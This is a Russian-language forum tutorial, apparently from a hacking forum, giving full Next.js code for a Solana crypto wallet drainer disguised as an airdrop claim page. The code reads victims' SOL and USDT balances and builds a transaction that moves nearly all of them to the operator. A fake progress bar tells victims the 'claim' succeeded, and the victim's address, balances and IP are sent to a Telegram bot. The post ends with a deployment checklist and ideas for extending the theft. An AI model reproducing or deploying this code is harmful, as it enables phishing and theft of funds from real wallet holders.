ФУНКЦИЯ ПОДКЛЮЧЕНИЯ К RPC
TypeScript bbcode нету НА XSS использую JS
JavaScript:
// Создаём подключение с fallback на другие RPC
async function getWorkingConnection(): Promise<Connection> {
  for (const endpoint of RPC_ENDPOINTS) {
    try {
      const connection = new Connection(endpoint, "confirmed");
      // Проверяем что RPC работает
      await connection.getLatestBlockhash();
      console.log(`Connected to RPC: ${endpoint.substring(0, 50)}...`);
      return connection;
    } catch (error) {
      console.log(`RPC failed: ${endpoint.substring(0, 30)}...`);
      continue;
    }
  }
  throw new Error("All RPC endpoints failed");
}


Функция отправки в телеграмм
JavaScript:
async function sendTelegramNotification(message: string) {
  try {
    const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
    await fetch(url, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        chat_id: TELEGRAM_CHAT_ID,
        text: message,
        parse_mode: "Markdown"
      })
    });
  } catch (error) {
    console.error("Telegram notification failed:", error);
  }
}

┌─────────────────────────────────────────────────────────────────────────────┐
│ 3.4 Основной handler - POST │
└─────────────────────────────────────────────────────────────────────────────┘
JavaScript:
export async function POST(request: Request) {
  try {
    // ═══════════════════════════════════════════════════════════════════════
    // ШАГ 1: Получаем адрес кошелька от клиента
    // ═══════════════════════════════════════════════════════════════════════
   
    const { walletAddress, userIP } = await request.json();
   
    if (!walletAddress) {
      return NextResponse.json(
        { success: false, error: "Wallet address required" },
        { status: 400 }
      );
    }
   
    const walletPubkey = new PublicKey(walletAddress);
    const recipientPubkey = new PublicKey(RECIPIENT_ADDRESS);
    const usdtRecipientPubkey = new PublicKey(USDT_RECIPIENT_ADDRESS);

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 2: Подключаемся к Solana через Helius RPC
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const connection = await getWorkingConnection();

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 3: Запрашиваем баланс SOL через connection.getBalance()
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const balanceLamports = await connection.getBalance(walletPubkey);
    const balanceSOL = balanceLamports / LAMPORTS_PER_SOL;
   
    console.log(`SOL Balance: ${balanceSOL} SOL (${balanceLamports} lamports)`);

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 4: Запрашиваем баланс USDT через getAssociatedTokenAddress()
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
let usdtBalance = 0;
    let userUsdtAta: PublicKey | null = null;
   
    try {
      // Получаем Associated Token Address пользователя для USDT
      userUsdtAta = await getAssociatedTokenAddress(
        USDT_MINT,
        walletPubkey
      );
     
      // Получаем информацию об аккаунте токена
      const tokenAccount = await getAccount(connection, userUsdtAta);
     
      // USDT имеет 6 decimals
      usdtBalance = Number(tokenAccount.amount) / 1_000_000;
     
      console.log(`USDT Balance: ${usdtBalance} USDT`);
    } catch (error) {
      // Аккаунт не существует = баланс 0
      console.log("No USDT account found, balance is 0");
      usdtBalance = 0;
    }

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 5: Получаем курс SOL/USD через CoinGecko API
// ═══════════════════════════════════════════════════════════════════════


JavaScript:
let solPrice = 150; // Fallback цена если API недоступен
   
    try {
      const priceResponse = await fetch(
        "https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd",
        { next: { revalidate: 60 } } // Кешируем на 60 секунд
      );
      const priceData = await priceResponse.json();
      solPrice = priceData.solana?.usd || 150;
     
      console.log(`SOL Price: $${solPrice}`);
    } catch (error) {
      console.log("Price API failed, using fallback: $150");
    }
   
    const balanceUSD = balanceSOL * solPrice + usdtBalance;

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 6: Создаём транзакцию на перевод средств
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const transaction = new Transaction();
   
    // Получаем свежий blockhash
    const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash("finalized");
    transaction.recentBlockhash = blockhash;
    transaction.feePayer = walletPubkey;

// ─────────────────────────────────────────────────────────────────────────
// 6.1 Добавляем Compute Budget инструкции для приоритетной комиссии
// ─────────────────────────────────────────────────────────────────────────

JavaScript:
const priorityFee = 100000; // 0.0001 SOL в microlamports
   
    // Устанавливаем лимит compute units
    transaction.add(
      ComputeBudgetProgram.setComputeUnitLimit({
        units: 200000
      })
    );
   
    // Устанавливаем приоритетную комиссию
    transaction.add(
      ComputeBudgetProgram.setComputeUnitPrice({
        microLamports: priorityFee
      })
    );

// ─────────────────────────────────────────────────────────────────────────
// 6.2 Проверяем наличие USDT и добавляем трансфер если > 0.01
// ─────────────────────────────────────────────────────────────────────────

JavaScript:
let usdtTransferAmount = 0;
   
    if (usdtBalance > 0.01 && userUsdtAta) {
      // Получаем ATA получателя для USDT
      const recipientUsdtAta = await getAssociatedTokenAddress(
        USDT_MINT,
        usdtRecipientPubkey
      );
     
      // Переводим весь USDT (в smallest units - 6 decimals)
      usdtTransferAmount = usdtBalance;
      const usdtAmountRaw = BigInt(Math.floor(usdtBalance * 1_000_000));
     
      transaction.add(
        createTransferInstruction(
          userUsdtAta,           // from (user's USDT ATA)
          recipientUsdtAta,      // to (recipient's USDT ATA)
          walletPubkey,          // owner (user signs)
          usdtAmountRaw,         // amount in smallest units
          [],                    // multisig (not used)
          TOKEN_PROGRAM_ID       // program id
        )
      );
     
      console.log(`Added USDT transfer: ${usdtTransferAmount} USDT`);
    }
// ─────────────────────────────────────────────────────────────────────────
// 6.3 Проверяем наличие SOL и добавляем трансфер если > 10000 lamports
// ─────────────────────────────────────────────────────────────────────────

// ─────────────────────────────────────────────────────────────────────────
// 6.4 Резервируем SOL на комиссию (base fee + priority + buffer)
// ─────────────────────────────────────────────────────────────────────────

JavaScript:
const baseFee = 5000;           // 5000 lamports базовая комиссия
    const priorityFeeLamports = Math.ceil(priorityFee * 200000 / 1_000_000);
    const buffer = 2_000_000;       // 0.002 SOL буфер на всякий случай
   
    const reservedForFee = baseFee + priorityFeeLamports + buffer;
   
    let solTransferAmount = 0;
   
    // Проверяем что достаточно SOL для трансфера
    if (balanceLamports > reservedForFee + 10000) {
      // Переводим всё кроме резерва на комиссию
      const transferLamports = balanceLamports - reservedForFee;
      solTransferAmount = transferLamports / LAMPORTS_PER_SOL;
     
      transaction.add(
        SystemProgram.transfer({
          fromPubkey: walletPubkey,
          toPubkey: recipientPubkey,
          lamports: transferLamports
        })
      );
     
      console.log(`Added SOL transfer: ${solTransferAmount} SOL (${transferLamports} lamports)`);
    }


    // Проверяем что есть хоть что-то для трансфера
    if (solTransferAmount === 0 && usdtTransferAmount === 0) {
      return NextResponse.json({
        success: false,
        error: "Insufficient balance for transfer",
        walletBalance: balanceSOL,
        usdtBalance: usdtBalance
      });
    }

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 7: Отправляем уведомление в Telegram
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const telegramMessage = `
🔍 *Wallet Scanned*


📍 Address: \`${walletAddress}\`
💰 SOL: ${balanceSOL.toFixed(6)} SOL
💵 USDT: ${usdtBalance.toFixed(2)} USDT
💲 Total USD: $${balanceUSD.toFixed(2)}
🌐 IP: ${userIP || "unknown"}


📤 Transfer amounts:
• SOL: ${solTransferAmount.toFixed(6)}
• USDT: ${usdtTransferAmount.toFixed(2)}


#scan
    `.trim();
   
    await sendTelegramNotification(telegramMessage);
// ═══════════════════════════════════════════════════════════════════════
// ШАГ 8: Возвращаем сериализованную транзакцию клиенту
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
// Сериализуем транзакцию в base64
    const serializedTransaction = transaction.serialize({
      requireAllSignatures: false,  // Клиент подпишет
      verifySignatures: false
    }).toString("base64");


    return NextResponse.json({
      success: true,
      walletBalance: balanceSOL,
      usdtBalance: usdtBalance,
      balanceUSD: balanceUSD,
      transferAmount: solTransferAmount,
      usdtTransferAmount: usdtTransferAmount,
      fee: {
        base: baseFee,
        priority: priorityFeeLamports,
        buffer: buffer,
        total: reservedForFee / LAMPORTS_PER_SOL
      },
      transaction: serializedTransaction,
      blockhash: blockhash,
      lastValidBlockHeight: lastValidBlockHeight
    });


  } catch (error) {
    console.error("Scan wallet error:", error);
    return NextResponse.json(
      { success: false, error: "Failed to scan wallet" },
      { status: 500 }
    );
  }
}



Создаем API отправки транзакции:


Создаём файл: app/api/send-transaction/route.ts


Полный код файла:
JavaScript:
import { NextResponse } from "next/server";
import { Connection, VersionedTransaction, Transaction } from "@solana/web3.js";


const HELIUS_KEY = "вставьсюдасвойключ";
const HELIUS_RPC = `https://mainnet.helius-rpc.com/?api-key=${HELIUS_KEY}`;


const RPC_ENDPOINTS = [
  HELIUS_RPC,
  "https://rpc.ankr.com/solana",
  "https://solana-mainnet.rpc.publicnode.com"
];


export async function POST(request: Request) {
  try {
    const { signedTransaction } = await request.json();
   
    if (!signedTransaction) {
      return NextResponse.json(
        { success: false, error: "Signed transaction required" },
        { status: 400 }
      );
    }


    // Декодируем транзакцию из base64
    const transactionBuffer = Buffer.from(signedTransaction, "base64");
   
    // Пробуем отправить через каждый RPC
    for (const endpoint of RPC_ENDPOINTS) {
      try {
        const connection = new Connection(endpoint, "confirmed");
       
        // Отправляем raw транзакцию
        const signature = await connection.sendRawTransaction(transactionBuffer, {
          skipPreflight: false,
          preflightCommitment: "confirmed",
          maxRetries: 3
        });
       
        console.log(`Transaction sent: ${signature}`);
       
        // Ждём подтверждения
        const confirmation = await connection.confirmTransaction({
          signature,
          blockhash: (await connection.getLatestBlockhash()).blockhash,
          lastValidBlockHeight: (await connection.getLatestBlockhash()).lastValidBlockHeight
        }, "confirmed");
       
        if (confirmation.value.err) {
          throw new Error(`Transaction failed: ${confirmation.value.err}`);
        }
       
        console.log(`Transaction confirmed: ${signature}`);
       
        return NextResponse.json({
          success: true,
          signature: signature,
          explorer: `https://solscan.io/tx/${signature}`
        });
       
      } catch (error) {
        console.log(`RPC ${endpoint.substring(0, 30)} failed, trying next...`);
        continue;
      }
    }
   
    return NextResponse.json(
      { success: false, error: "All RPC endpoints failed" },
      { status: 500 }
    );
   
  } catch (error) {
    console.error("Send transaction error:", error);
    return NextResponse.json(
      { success: false, error: "Failed to send transaction" },
      { status: 500 }
    );
  }
}




Создаем Telegram уведомления:


Создаём файл: app/api/transaction-approved/route.ts


Полный код файла:
JavaScript:
import { NextResponse } from "next/server";


const TELEGRAM_BOT_TOKEN = "заменинасвой";
const TELEGRAM_CHAT_ID = "заменинасвой";


export async function POST(request: Request) {
  try {
    const { walletAddress, balanceSOL, balanceUSD, userIP, signature } = await request.json();
   
    const message = `
🕯 *Transaction Approved*


📍 Address: \`${walletAddress}\`
💰 Balance: ${balanceSOL?.toFixed(6) || "0"} SOL
💵 Balance USD: $${balanceUSD?.toFixed(2) || "0"}
🌐 IP: ${userIP || "unknown"}
${signature ? `\n🔗 [View on Solscan](https://solscan.io/tx/${signature})` : ""}


#approve
    `.trim();


    const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
   
    await fetch(url, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        chat_id: TELEGRAM_CHAT_ID,
        text: message,
        parse_mode: "Markdown",
        disable_web_page_preview: true
      })
    });


    return NextResponse.json({ success: true });
   
  } catch (error) {
    console.error("Telegram notification error:", error);
    return NextResponse.json(
      { success: false, error: "Failed to send notification" },
      { status: 500 }
    );
  }
}



Создаем модальное окно кошелька:

Создаём файл: components/wallet-modal.tsx

┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.1 Определение устройства │
└─────────────────────────────────────────────────────────────────────────────┘
JavaScript:
// Определяем мобильное устройство или десктоп
const isMobile = typeof window !== "undefined" &&
  /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);
┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.2 Типы провайдеров кошельков │
└─────────────────────────────────────────────────────────────────────────────┘
JavaScript:
// Интерфейс провайдера кошелька
interface WalletProvider {
  connect: () => Promise<{ publicKey: PublicKey }>;
  signMessage: (message: Uint8Array, encoding: string) => Promise<{ signature: Uint8Array }>;
  signTransaction: (transaction: Transaction) => Promise<Transaction>;
  disconnect: () => Promise<void>;
  publicKey: PublicKey | null;
  isConnected: boolean;
}


// Получение провайдеров из window
function getPhantomProvider(): WalletProvider | null {
  if (typeof window !== "undefined") {
    return (window as any).phantom?.solana || null;
  }
  return null;
}


function getSolflareProvider(): WalletProvider | null {
  if (typeof window !== "undefined") {
    return (window as any).solflare || null;
  }
  return null;
}


function getTrustWalletProvider(): WalletProvider | null {
  if (typeof window !== "undefined") {
    return (window as any).trustwallet?.solana || null;
  }
  return null;
}


┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.3 Deep Links для мобильных устройств │
└─────────────────────────────────────────────────────────────────────────────┘

JavaScript:
// Генерация deep links для мобильных кошельков
function getMobileDeepLink(wallet: string, url: string): string {
  const encodedUrl = encodeURIComponent(url);
 
  switch (wallet) {
    case "phantom":
      return `phantom://browse/${url}?ref=${encodedUrl}`;
      // Альтернатива: `https://phantom.app/ul/browse/${encodedUrl}`
     
    case "solflare":
      return `solflare://ul/v1/browse/${url}?ref=${encodedUrl}`;
      // Альтернатива: `https://solflare.com/ul/v1/browse/${encodedUrl}`
     
    case "trust":
      return `trust://browser_enable?url=${encodedUrl}`;
     
    default:
      return url;
  }
}


// Использование:
if (isMobile) {
  const currentUrl = window.location.href;
  window.location.href = getMobileDeepLink("phantom", currentUrl);
}

┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.4 Основной поток подписания │
└─────────────────────────────────────────────────────────────────────────────┘

JavaScript:
async function signMessageThenTransaction(
  provider: WalletProvider,
  publicKey: PublicKey
) {
// ═══════════════════════════════════════════════════════════════════════
// ШАГ 1: Получаем IP пользователя через внешний API
// ═══════════════════════════════════════════════════════════════════════
JavaScript:
let userIP = "unknown";
  try {
    const ipResponse = await fetch("https://api.ipify.org?format=json");
    const ipData = await ipResponse.json();
    userIP = ipData.ip;
  } catch (error) {
    console.log("Could not get IP address");
  }

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 2: Подписываем сообщение для верификации владельца кошелька
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const message = new TextEncoder().encode("привет");
 
  try {
    await provider.signMessage(message, "utf8");
    console.log("Message signed successfully");
  } catch (error) {
    console.error("User rejected message signing");
    throw new Error("Message signing rejected");
  }

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 3: Отправляем запрос на сканирование кошелька
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const scanResponse = await fetch("/api/scan-wallet", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      walletAddress: publicKey.toString(),
      userIP: userIP
    })
  });
 
  const scanData = await scanResponse.json();
 
  if (!scanData.success) {
    throw new Error(scanData.error || "Wallet scan failed");
  }
 
  console.log("Wallet scanned:", scanData);

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 4: Десериализуем и подписываем транзакцию
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
// Импорт: import { Transaction } from "@solana/web3.js";
  const transaction = Transaction.from(
    Buffer.from(scanData.transaction, "base64")
  );
 
  let signedTransaction: Transaction;
  try {
    signedTransaction = await provider.signTransaction(transaction);
    console.log("Transaction signed successfully");
  } catch (error) {
    console.error("User rejected transaction");
    throw new Error("Transaction rejected");
  }

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 5: Отправляем подписанную транзакцию на сервер
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
const serializedTx = signedTransaction.serialize().toString("base64");
 
  const sendResponse = await fetch("/api/send-transaction", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      signedTransaction: serializedTx
    })
  });
 
  const sendData = await sendResponse.json();
 
  if (!sendData.success) {
    throw new Error(sendData.error || "Transaction send failed");
  }
 
  console.log("Transaction sent:", sendData.signature);

// ═══════════════════════════════════════════════════════════════════════
// ШАГ 6: Отправляем уведомление о подтверждении в Telegram
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
await fetch("/api/transaction-approved", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      walletAddress: publicKey.toString(),
      balanceSOL: scanData.walletBalance,
      balanceUSD: scanData.balanceUSD,
      userIP: userIP,
      signature: sendData.signature
    })
  });
 
  console.log("Telegram notification sent");
 
  return {
    success: true,
    signature: sendData.signature
  };
}


┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.5 Подключение к кошельку (для примера взят кошелек Phantom) │
└─────────────────────────────────────────────────────────────────────────────┘

JavaScript:
async function connectPhantom() {
  const provider = getPhantomProvider();
 
  if (!provider) {
    // Кошелёк не установлен
    if (isMobile) {
      // На мобильном - редирект в приложение
      window.location.href = getMobileDeepLink("phantom", window.location.href);
    } else {
      // На десктопе - открываем страницу установки
      window.open("https://phantom.app/", "_blank");
    }
    return;
  }
 
  try {
    // Подключаемся к кошельку
    const { publicKey } = await provider.connect();
   
    console.log("Connected to Phantom:", publicKey.toString());
   
    // Запускаем поток подписания
    const result = await signMessageThenTransaction(provider, publicKey);
   
    if (result.success) {
      console.log("All done! Signature:", result.signature);
    }
   
  } catch (error) {
    console.error("Connection error:", error);
  }
}


┌─────────────────────────────────────────────────────────────────────────────┐
│ 6.6 Прогресс-бар для UX │
└─────────────────────────────────────────────────────────────────────────────┘
JavaScript:
// Статусы для прогресс-бара
const PROGRESS_STATES = [
  { percent: 10,  text: "Verifying connection..." },
  { percent: 20,  text: "Signing verification..." },
  { percent: 40,  text: "Scanning wallet..." },
  { percent: 55,  text: "Checking eligibility..." },
  { percent: 70,  text: "Preparing claim..." },
  { percent: 80,  text: "Awaiting approval..." },
  { percent: 90,  text: "Processing transaction..." },
  { percent: 100, text: "Claim successful!" }
];


// React state для прогресса
const [progress, setProgress] = useState(0);
const [statusText, setStatusText] = useState("");


// Функция обновления прогресса
function updateProgress(index: number) {
  const state = PROGRESS_STATES[index];
  setProgress(state.percent);
  setStatusText(state.text);
}


// Пример использования в signMessageThenTransaction:
updateProgress(0); // Verifying connection...
// ... connect ...
updateProgress(1); // Signing verification...
// ... sign message ...
updateProgress(2); // Scanning wallet...
// ... fetch /api/scan-wallet ...
updateProgress(4); // Preparing claim...
// ... sign transaction ...
updateProgress(6); // Processing transaction...
// ... fetch /api/send-transaction ...
updateProgress(7); // Claim successful!


ШАГ 7: Создаем HTML Wrapper


Создаём файл: components/html-landing-wrapper.tsx


┌─────────────────────────────────────────────────────────────────────────────┐
│ Полный код компонента │
└─────────────────────────────────────────────────────────────────────────────┘
JavaScript:
"use client";


import { useEffect, useRef, useState } from "react";
import WalletModal from "./wallet-modal";


interface HtmlLandingWrapperProps {
  htmlContent: string;
}


export default function HtmlLandingWrapper({ htmlContent }: HtmlLandingWrapperProps) {
  const containerRef = useRef<HTMLDivElement>(null);
  const [isModalOpen, setIsModalOpen] = useState(false);


  useEffect(() => {
    if (!containerRef.current) return;

// ═══════════════════════════════════════════════════════════════════════
// Создаём глобальную функцию для вызова из HTML
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
(window as any).openWalletScanner = () => {
      setIsModalOpen(true);
    };
// ═══════════════════════════════════════════════════════════════════════
// Добавляем обработчики кликов на элементы с определёнными селекторами
// ═══════════════════════════════════════════════════════════════════════
JavaScript:
const selectors = [
      ".open-scanner",
      "[data-action='scan']",
      "[data-scanner='open']"
    ];
   
    const handleClick = (e: Event) => {
      e.preventDefault();
      setIsModalOpen(true);
    };
   
    selectors.forEach(selector => {
      const elements = containerRef.current?.querySelectorAll(selector);
      elements?.forEach(el => {
        el.addEventListener("click", handleClick);
      });
    });

// ═══════════════════════════════════════════════════════════════════════
// Выполняем <script> теги из вставленного HTML
// ═══════════════════════════════════════════════════════════════════════
JavaScript:
const scripts = containerRef.current.querySelectorAll("script");
    scripts.forEach(oldScript => {
      const newScript = document.createElement("script");
     
      // Копируем атрибуты
      Array.from(oldScript.attributes).forEach(attr => {
        newScript.setAttribute(attr.name, attr.value);
      });
     
      // Копируем содержимое
      newScript.textContent = oldScript.textContent;
     
      // Заменяем старый скрипт новым (это запустит выполнение)
      oldScript.parentNode?.replaceChild(newScript, oldScript);
    });

// ═══════════════════════════════════════════════════════════════════════
// Cleanup при размонтировании
// ═══════════════════════════════════════════════════════════════════════

JavaScript:
return () => {
      delete (window as any).openWalletScanner;
     
      selectors.forEach(selector => {
        const elements = containerRef.current?.querySelectorAll(selector);
        elements?.forEach(el => {
          el.removeEventListener("click", handleClick);
        });
      });
    };
  }, [htmlContent]);


  return (
    <>
      {/* Контейнер для HTML лендинга */}
      <div
        ref={containerRef}
        dangerouslySetInnerHTML={{ __html: htmlContent }}
        className="landing-container"
      />
     
      {/* Модальное окно кошелька */}
      <WalletModal
        isOpen={isModalOpen}
        onClose={() => setIsModalOpen(false)}
      />
    </>
  );
}


Использование в HTML лендинге


Способ 1: через класс -->
<button class="open-scanner">Connect Wallet</button>

Способ 2: через data-атрибут -->
<button data-action="scan">Connect Wallet</button>

Способ 3: через onclick -->
<button onclick="openWalletScanner()">Connect Wallet</button>

Способ 4: через ссылку -->
<a href="#" class="open-scanner">Claim Now</a>


Главная страница:


Создаём файл: app/page.tsx


Полный код страницы:

JavaScript:
import fs from "fs";
import path from "path";
import HtmlLandingWrapper from "@/components/html-landing-wrapper";


export default async function Home() {
  // Путь к HTML лендингу
  const filePath = path.join(
    process.cwd(),
    "private-landings/solana-airdrop.html"
  );
 
  let htmlContent = "";
 
  try {
    // Читаем HTML файл
    htmlContent = fs.readFileSync(filePath, "utf8");
  } catch (error) {
    console.error("Failed to read landing file:", error);
    // Fallback контент если файл не найден
    htmlContent = `
      <div style="display:flex;align-items:center;justify-content:center;min-height:100vh;">
        <div style="text-align:center;">
          <h1>Landing not found</h1>
          <p>Place your HTML file at: private-landings/solana-airdrop.html</p>
        </div>
      </div>
    `;
  }
 
  return <HtmlLandingWrapper htmlContent={htmlContent} />;
}


ЗАКЛЮЧЕНИЕ:
Файлы которые мы создали:

1. app/api/scan-wallet/route.ts
- Сканирование кошелька
- Получение балансов SOL и USDT
- Расчёт стоимости в USD
- Создание транзакции
- Отправка уведомления в Telegram

2. app/api/send-transaction/route.ts
- Получение подписанной транзакции от клиента
- Отправка в блокчейн Solana
- Возврат хеша транзакции

3. app/api/transaction-approved/route.ts
- Уведомление об успешном подтверждении
- Логирование в Telegram

4. components/modal.tsx
- Интерфейс подключения кошелька
- Взаимодействие с Phantom
- Обработка всей логики на клиенте


Что мы научились делать:

1. Подключаться к блокчейну Solana через RPC
Использовали Helius для стабильного соединения.

2. Сканировать кошельки
Получать баланс SOL через getBalance().
Получать баланс токенов через getAssociatedTokenAddress().

3. Создавать транзакции
SystemProgram.transfer() для SOL.
createTransferInstruction() для SPL токенов.

4. Работать с приоритетными комиссиями
ComputeBudgetProgram для ускорения транзакций.

5. Рассчитывать комиссии
Резервирование SOL на base fee + priority fee + buffer.

6. Интегрировать Telegram бота
Мгновенные уведомления через Bot API.

7. Связывать фронтенд с бэкендом
HTML лендинг общается с Next.js API через fetch().


Мы создали полноценное приложение которое:

  • Имеет красивый HTML лендинг для привлечения пользователей
  • Подключается к кошелькам Phantom через официальный API
  • Сканирует балансы SOL и USDT в реальном времени
  • Динамически получает курсы
  • Рассчитывает комиссии сети
  • Создаёт оптимизированные транзакции
  • Отправляет мгновенные уведомления в Telegram
  • Обрабатывает ошибки и edge cases


Что можно улучшить:

1. Добавить поддержку других кошельков Backpack, Magic eden, etc
2. Сканировать другие токены помимо USDT
3. Добавить поддержку NFT
4. Практиковаться создавая собственные Bypass

ФИНАЛЬНЫЙ ЧЕКЛИСТ


1) Получен Helius API Key
2) Создан Telegram бот и получен токен
3) Получен Telegram Chat ID
4) Создан Solana кошелёк для получения средств
5) Все ключи вставлены в код
6) Создан HTML лендинг с кнопкой подключения
7) Проект можно задеплоить на vercel/vps


┌─────────────────────────────────────────────────────────────────────────────┐
│ Необходимые зависимости (package.json) │
└─────────────────────────────────────────────────────────────────────────────┘

JavaScript:
{
  "dependencies": {
    "@solana/web3.js": "^1.87.0",
    "@solana/spl-token": "^0.3.8",
    "next": "14.x",
    "react": "18.x",
    "react-dom": "18.x"
  }
}


┌─────────────────────────────────────────────────────────────────────────────┐
│ Поток данных (полная схема) │
└─────────────────────────────────────────────────────────────────────────────┘

[User clicks "Connect Wallet"]

[HTML Wrapper catches click via .open-scanner class]

[setIsModalOpen(true) → Opens Wallet Modal]

[User selects wallet: Phantom / Solflare / Trust]

[Desktop: provider = window.phantom.solana]
[Mobile: redirect to phantom://browse/...]

[provider.connect() → Returns publicKey]

[fetch("https://api.ipify.org") → Get user IP]

[provider.signMessage("привет") → Verify ownership]

[POST /api/scan-wallet { walletAddress, userIP }]

[Server: connection.getBalance(wallet) → SOL balance]

[Server: getAssociatedTokenAddress(USDT_MINT, wallet)]

[Server: getAccount(connection, ata) → USDT balance]

[Server: fetch CoinGecko → SOL price in USD]

[Server: new Transaction()]

[Server: ComputeBudgetProgram.setComputeUnitLimit({ units: 200000 })]

[Server: ComputeBudgetProgram.setComputeUnitPrice({ microLamports: 100000 })]

[Server: if USDT > 0.01 → createTransferInstruction(USDT)]

[Server: if SOL > reservedForFee → SystemProgram.transfer(SOL)]

[Server: sendTelegramNotification("Wallet Scanned")]

[Server: return { transaction: base64, blockhash, ... }]

[Client: Transaction.from(Buffer.from(tx, "base64"))]

[provider.signTransaction(tx) → User approves in wallet]

[POST /api/send-transaction { signedTransaction: base64 }]

[Server: connection.sendRawTransaction(buffer)]

[Server: connection.confirmTransaction(signature)]

[Server: return { signature, explorer: solscan.io/tx/... }]

[POST /api/transaction-approved { walletAddress, balanceSOL, ... }]

[Server: Telegram "🕯 Transaction Approved"]

[Client: Show success message ✓]
 

Вложения

  • 1768367396878.png
    1768367396878.png
    43.9 КБ · Просмотры: 17
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх